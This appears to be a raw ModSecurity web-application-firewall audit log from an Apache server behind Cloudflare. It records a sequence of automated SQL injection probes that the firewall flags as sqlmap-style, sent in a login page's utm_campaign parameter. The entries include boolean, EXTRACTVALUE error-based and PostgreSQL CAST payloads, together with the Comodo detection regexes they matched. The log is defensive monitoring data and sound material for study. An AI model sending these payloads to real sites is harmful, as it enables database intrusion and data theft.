csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --fd460700-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --fd460700-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (5610=4669) THEN 'login-now' ELSE (SELECT 4669 UNION SELECT 4635) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (5610=4669) THEN 'login-now' ELSE (SELECT 4669 UNION SELECT 4635) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(5610=4669)then'login-now'else(select4669unionselect4635)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (5610=4669) THEN 'login-now' ELSE (SELECT 4669 UNION SELECT 4635) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (5610=4669) THEN 'login-now' ELSE (SELECT 4669 UNION SELECT 4635) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89lbsEVBap6l1Fvp1AMgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(5610=4669)then'login-now'else(select4669unionselect4635)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89lbsEVBap6l1Fvp1AMgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023573650120 59311 (- - -) Stopwatch2: 1750023573650120 59311; combined=4225, p1=374, p2=3677, p3=0, p4=0, p5=174, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd460700-Z-- --0d2ce540-A-- [16/Jun/2025:03:09:34.041539 +0530] aE89lYrLgrklqy57Kk2cTgAAAAg 162.158.94.73 55310 127.0.0.1 7081 --0d2ce540-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=%28SELECT%20%28CASE%20WHEN%20%284486%3D4486%29%20THEN%20%27login-now%27%20ELSE%20%28SELECT%208546%20UNION%20SELECT%209609%29%20END%29%29 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.73 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053888fd6037da-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --0d2ce540-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --0d2ce540-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (4486=4486) THEN 'login-now' ELSE (SELECT 8546 UNION SELECT 9609) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (4486=4486) THEN 'login-now' ELSE (SELECT 8546 UNION SELECT 9609) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?:union(?:\\/\\*.{0,399}\\*\\/)?select)" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(4486=4486)then'login-now'else(select8546unionselect9609)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (4486=4486) THEN 'login-now' ELSE (SELECT 8546 UNION SELECT 9609) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (4486=4486) THEN 'login-now' ELSE (SELECT 8546 UNION SELECT 9609) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89lYrLgrklqy57Kk2cTgAAAAg"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:utm_campaign. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(4486=4486)then'login-now'else(select8546unionselect9609)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89lYrLgrklqy57Kk2cTgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023573991987 49655 (- - -) Stopwatch2: 1750023573991987 49655; combined=4178, p1=330, p2=3674, p3=0, p4=0, p5=174, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d2ce540-Z-- --df67ed79-A-- [16/Jun/2025:03:09:34.384144 +0530] aE89lnZqyQ8YfVGvJU7YyQAAAAY 162.158.95.81 55328 127.0.0.1 7081 --df67ed79-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%20EXTRACTVALUE%287313%2CCONCAT%280x5c%2C0x717a6b6a71%2C%28SELECT%20%28ELT%287313%3D7313%2C1%29%29%29%2C0x717a716b71%29%29%20AND%20%284842%3D4842 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.81 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505388b191b8f39-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --df67ed79-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --df67ed79-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (4842=4842 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and extractvalue(7313,concat(0x5c,0x717a6b6a71,(select (elt(7313=7313,1))),0x717a716b71)) and (4842=4842"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (4842=4842 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and extractvalue(7313,concat(0x5c,0x717a6b6a71,(select (elt(7313=7313,1))),0x717a716b71)) and (4842=4842"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89lnZqyQ8YfVGvJU7YyQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023574326922 57321 (- - -) Stopwatch2: 1750023574326922 57321; combined=3294, p1=384, p2=2783, p3=0, p4=0, p5=127, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df67ed79-Z-- --a296333c-A-- [16/Jun/2025:03:09:35.492192 +0530] aE89l7sEVBap6l1Fvp1ANAAAAAQ 172.70.240.108 55418 127.0.0.1 7081 --a296333c-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%20EXTRACTVALUE%287313%2CCONCAT%280x5c%2C0x717a6b6a71%2C%28SELECT%20%28ELT%287313%3D7313%2C1%29%29%29%2C0x717a716b71%29%29%20AND%20%28%27aGIR%27%3D%27aGIR HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.108 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053890aade1e2f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a296333c-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --a296333c-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('agir'='agir found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and extractvalue(7313,concat(0x5c,0x717a6b6a71,(select (elt(7313=7313,1))),0x717a716b71)) and ('agir'='agir"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('agir'='agir found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and extractvalue(7313,concat(0x5c,0x717a6b6a71,(select (elt(7313=7313,1))),0x717a716b71)) and ('agir'='agir"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89l7sEVBap6l1Fvp1ANAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023575439114 53178 (- - -) Stopwatch2: 1750023575439114 53178; combined=3909, p1=349, p2=3433, p3=0, p4=0, p5=126, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a296333c-Z-- --ed891b30-A-- [16/Jun/2025:03:09:36.053508 +0530] aE89l4l8S04UZ4l67-nehAAAAAk 162.158.86.17 55428 127.0.0.1 7081 --ed891b30-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%20EXTRACTVALUE%287313%2CCONCAT%280x5c%2C0x717a6b6a71%2C%28SELECT%20%28ELT%287313%3D7313%2C1%29%29%29%2C0x717a716b71%29%29%20AND%20%27DVLi%27%3D%27DVLi HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.86.17 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538941bd7690f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --ed891b30-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --ed891b30-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'dvli'='dvli found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and extractvalue(7313,concat(0x5c,0x717a6b6a71,(select (elt(7313=7313,1))),0x717a716b71)) and 'dvli'='dvli"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'dvli'='dvli found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and extractvalue(7313,concat(0x5c,0x717a6b6a71,(select (elt(7313=7313,1))),0x717a716b71)) and 'dvli'='dvli"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89l4l8S04UZ4l67-nehAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023575996823 56773 (- - -) Stopwatch2: 1750023575996823 56773; combined=5472, p1=385, p2=4928, p3=0, p4=0, p5=158, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed891b30-Z-- --8802c901-A-- [16/Jun/2025:03:09:37.399900 +0530] aE89mNkGqt_oHz6gRVdJIQAAAAw 162.158.111.235 55494 127.0.0.1 7081 --8802c901-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%206648%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286648%3D6648%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%288433%3D8433 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.235 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505389b2db518e0-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --8802c901-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%206648=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(6648=6648)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20(8433=8433 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --8802c901-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and (8433=8433"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and (8433=8433"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89mNkGqt_oHz6gRVdJIQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023576897545 502493 (- - -) Stopwatch2: 1750023576897545 502493; combined=4798, p1=536, p2=4124, p3=0, p4=0, p5=137, sr=141, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8802c901-Z-- --185aeb50-A-- [16/Jun/2025:03:09:38.767188 +0530] aE89mkNwpNEMJppxC49R8QAAAAI 172.71.172.202 55584 127.0.0.1 7081 --185aeb50-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206648%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286648%3D6648%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.202 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538a3c955d3a6-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: 